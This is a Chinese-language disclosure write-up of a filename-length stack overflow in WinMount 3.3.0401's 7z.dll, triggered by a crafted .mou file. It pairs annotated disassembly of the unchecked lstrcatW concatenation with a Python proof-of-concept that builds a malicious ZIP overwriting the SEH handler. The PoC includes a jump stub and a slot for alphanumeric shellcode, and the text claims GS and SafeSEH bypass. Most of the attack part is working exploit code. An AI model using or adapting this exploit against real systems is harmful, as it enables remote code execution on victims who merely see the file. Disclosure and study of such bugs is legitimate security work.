前段时间发现的一个 WinMount 的**漏洞**并报给了 WinMount，WinMount 更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount 在处理其 mou 私有格式的时候存在超长文件名溢出**漏洞**，这个**漏洞**存在于 7z.dll 中，并且可以绕过 GS,SAFESEH 成功利用。

由于 WinMount 对 mou 格式的特殊处理机制导致这个**漏洞**并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意 mou 文件，就能触发这个**漏洞**。

分析：

```
.text:100B5460 vul_          proc near              ; CODE XREF: sub_100B64B0+2EEp
.text:100B5460
.text:100B5460 var_214       = dword ptr -214h
.text:100B5460 var_210       = dword ptr -210h
.text:100B5460 buf_20c       = byte ptr -20Ch
.text:100B5460 arg_0         = dword ptr  4
.text:100B5460 arg_4         = dword ptr  8
.text:100B5460 arg_8         = dword ptr  0Ch
.text:100B5460 arg_C         = dword ptr  10h
.text:100B5460 arg_10        = dword ptr  14h
.text:100B5460 arg_14        = dword ptr  18h
.text:100B5460 arg_18        = dword ptr  1Ch
.text:100B5460
.text:100B5460               sub     esp, 214h
.text:100B5466               mov     eax, dword_10101D2C
.text:100B546B               xor     eax, esp
.text:100B546D               mov     dword ptr [esp+214h+buf_20c+208h], eax
.text:100B5474               mov     ecx, [esp+214h+arg_18]
.text:100B547B               mov     edx, [esp+214h+arg_4]
.text:100B5482               mov     eax, [esp+214h+arg_C]
.text:100B5489               push    ebx
.text:100B548A               push    ebp
.text:100B548B               mov     ebp, [esp+21Ch+arg_0]
.text:100B5492               push    esi
.text:100B5493               mov     esi, [esp+220h+arg_8]
.text:100B549A               push    edi
.text:100B549B               mov     [esp+224h+var_214], ecx
.text:100B549F               push    edx
.text:100B54A0               lea     ecx, [ebp+58h]
.text:100B54A3               mov     [esp+228h+var_210], eax
.text:100B54A7               call    sub_100B5260
.text:100B54AC               mov     edi, [eax]
.text:100B54AE               mov     byte ptr [esi+6Ch], 1
```

```
.text:100B54B2                mov     eax, [edi+26h]
.text:100B54B5                mov     [esi+20h], eax
.text:100B54B8                mov     eax, [edi+2Ah]
.text:100B54BB                xor     ebx, ebx
.text:100B54BD                cmp     eax, ebx
.text:100B54BF                jz      short loc_100B54D0
.text:100B54C1                cmp     eax, 0FFFFFFFFh
.text:100B54C4                jz      short loc_100B54D0
.text:100B54C6                mov     byte ptr [esi+6Bh], 1
.text:100B54CA                mov     ecx, [edi+2Ah]
.text:100B54CD                mov     [esi+24h], ecx
.text:100B54D0
.text:100B54D0 loc_100B54D0:                          ; CODE XREF: vul_vul+5Fj
.text:100B54D0                                        ; vul_vul+64j
.text:100B54D0                cmp     [edi+0Eh], ebx
.text:100B54D3                ja      short loc_100B54DA
.text:100B54D5                cmp     [edi+0Ah], ebx
.text:100B54D8                jbe     short loc_100B54DE
.text:100B54DA
.text:100B54DA loc_100B54DA:                          ; CODE XREF: vul_vul+73j
.text:100B54DA                mov     al, 1
.text:100B54DC                jmp     short loc_100B54E0
.text:100B54DE ; ---------------------------------------------------------------------------
.text:100B54DE
.text:100B54DE loc_100B54DE:                          ; CODE XREF: vul_vul+78j
.text:100B54DE                xor     al, al
.text:100B54E0
.text:100B54E0 loc_100B54E0:                          ; CODE XREF: vul_vul+7Cj
.text:100B54E0                test    byte ptr [esi+20h], 10h
.text:100B54E4                mov     [esi+68h], al
.text:100B54E7                setnbe  dl
.text:100B54EA                mov     [esi+69h], dl
.text:100B54ED                mov     [esi+6Ah], bl
.text:100B54F0                mov     eax, [edi+1Ah]
.text:100B54F3                mov     ecx, [edi+1Eh]
.text:100B54F6                mov     edx, eax
.text:100B54F8                or      edx, ecx
.text:100B54FA                jz      short loc_100B5512
.text:100B54FC                add     eax, [esp+224h+arg_10]
.text:100B5503                adc     ecx, [esp+224h+arg_14]
.text:100B550A                mov     [esi+60h], eax
.text:100B550D                mov     [esi+64h], ecx
.text:100B5510                jmp     short loc_100B5518
.text:100B5512 ; ---------------------------------------------------------------------------
```

```
.text:100B5512
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj
.text:100B5512                  mov     [esi+60h], ebx
.text:100B5515                  mov     [esi+64h], ebx
.text:100B5518
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j
.text:100B5518                  push    206h            ; size_t
.text:100B551D                  lea     ecx, [esp+228h+buf_20c+2]
.text:100B5521                  xor     eax, eax
.text:100B5523                  push    ebx             ; int
.text:100B5524                  push    ecx             ; void *
.text:100B5525                  mov     word ptr [esp+230h+buf_20c], ax
.text:100B552A                  call    _memset
.text:100B552F                  add     esp, 0Ch
.text:100B5532                  push    edi             ; int
.text:100B5533                  lea     edx, [esp+228h+buf_20c]
.text:100B5537                  push    edx             ; dst_string
.text:100B5538                  push    ebp             ; int
.text:100B5539                  call    sub_100B3F90    ;
```

跟进去

```
.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p
.text:100B3F90                                         ; vul_vul+D9p
.text:100B3F90
.text:100B3F90 arg_0           = dword ptr  4
.text:100B3F90 dst_string      = dword ptr  8
.text:100B3F90 arg_8           = dword ptr  0Ch
.text:100B3F90
.text:100B3F90                  push    ebx
.text:100B3F91                  mov     ebx, [esp+4+arg_8]
.text:100B3F95                  mov     eax, [ebx+5Ch]
.text:100B3F98                  push    esi
.text:100B3F99                  mov     esi, [esp+8+dst_string]
.text:100B3F9D                  push    edi
.text:100B3F9E                  mov     edi, ds:lstrcatW
.text:100B3FA4                  test    eax, eax
.text:100B3FA6                  jz      short loc_100B3FC2
.text:100B3FA8                  cmp     dword ptr [eax+56h], 0FFFFFFFFh
.text:100B3FAC                  jz      short loc_100B3FC2
.text:100B3FAE                  push    eax             ; int
.text:100B3FAF                  mov     eax, [esp+10h+arg_0]
.text:100B3FB3                  push    esi             ; dst_string
```

```
.text:100B3FB4                push    eax             ; int
.text:100B3FB5                call    sub_100B3F90
.text:100B3FBA                push    offset String2  ; "\\"
.text:100B3FBF                push    esi             ; lpString1
.text:100B3FC0                call    edi ; lstrcatW
.text:100B3FC2
.text:100B3FC2 loc_100B3FC2:                          ; CODE XREF: sub_100B3F90+16j
.text:100B3FC2                                        ; sub_100B3F90+1Cj
.text:100B3FC2                mov     ecx, [ebx+52h]
.text:100B3FC5                push    ecx             ; lpString2
.text:100B3FC6                push    esi             ; lpString1
.text:100B3FC7                call    edi ; lstrcatW  ; 溢出
.text:100B3FC9                pop     edi
.text:100B3FCA                pop     esi
.text:100B3FCB                pop     ebx
.text:100B3FCC                retn    0Ch
.text:100B3FCC sub_100B3F90   endp
```

接下来会继续调用下边这个函数

```
.text:100209C0 access_        proc near               ; CODE XREF: sub_10020AE0+6Cp
.text:100209C0                                        ; sub_10021060+105p ...
.text:100209C0
.text:100209C0 p_string       = dword ptr  4
.text:100209C0
.text:100209C0                push    ebx
.text:100209C1                mov     ebx, ecx
.text:100209C3                mov     eax, [ebx]
.text:100209C5                push    esi
.text:100209C6                xor     ecx, ecx
.text:100209C8                push    edi
.text:100209C9                mov     edi, [esp+0Ch+p_string]
.text:100209CD                mov     dword ptr [ebx+4], 0
.text:100209D4                mov     [eax], cx
.text:100209D7                xor     esi, esi
.text:100209D9                cmp     [edi], cx
.text:100209DC                jz      short loc_100209E7
.text:100209DE                mov     edi, edi
.text:100209E0
.text:100209E0 loc_100209E0:                          ; CODE XREF: access_+25j
.text:100209E0                inc     esi
.text:100209E1                cmp     [edi+esi*2], cx ; 可以制造出内存读异常--->绕过 GS
.text:100209E5                jnz     short loc_100209E0
.text:100209E7
```

```
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj
.text:100209E7                 push    esi
.text:100209E8                 mov     ecx, ebx
.text:100209EA                 call    sub_10002F90
.text:100209EF                 mov     ecx, [ebx]
.text:100209F1                 mov     edx, edi
.text:100209F3
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j
.text:100209F3                 movzx   eax, word ptr [edx]
.text:100209F6                 mov     [ecx], ax
.text:100209F9                 add     ecx, 2
.text:100209FC                 add     edx, 2
.text:100209FF                 test    ax, ax
.text:10020A02                 jnz     short loc_100209F3
.text:10020A04                 pop     edi
.text:10020A05                 mov     [ebx+4], esi
.text:10020A08                 pop     esi
.text:10020A09                 mov     eax, ebx
.text:10020A0B                 pop     ebx
.text:10020A0C                 retn    4
.text:10020A0C access_         endp
```

POC:

用这个脚本产生 test.zip，再借助 WinMount 生成 test.mou 文件。

```
import os

sploitfile="test.zip"
ldf_header =('\x50\x4B\x03\x04\x14\x00\x00'
'\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\xd0\xff'
'\x00\x00\x00')
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xd0\xff"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\xfe\xff\x00\x00"
"\xee\xff\x00\x00"
"\x00\x00")
print "[+] Preparing payload\n"
```

```
size=65484
junk='A'*420
nseh='\x89\x8a\x8b\x8c'
seh='\x84\x5b\xac\x8d'
junk_='A'*33
jumpto='\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4'#make eax point to shellcode and jump to sh
ellcode
shellcode=("the shellcode here will be changed into unicode")#encode by alpha2
junk__='B'*80
last='C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+".wav"
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header
print "[+] Removing old zip file\n"
os.system("del "+sploitfile)
print "[+] Writing payload to file\n"
fobj=open(sploitfile,"w",0)
fobj.write(evilzip)
print "generate zip file "+(sploitfile)
fobj.close()
print '[+] Wrote %d bytes to file sploitfile\n'%(len(evilzip))
print "[+] Payload length :%d \n"%(len(payload))
```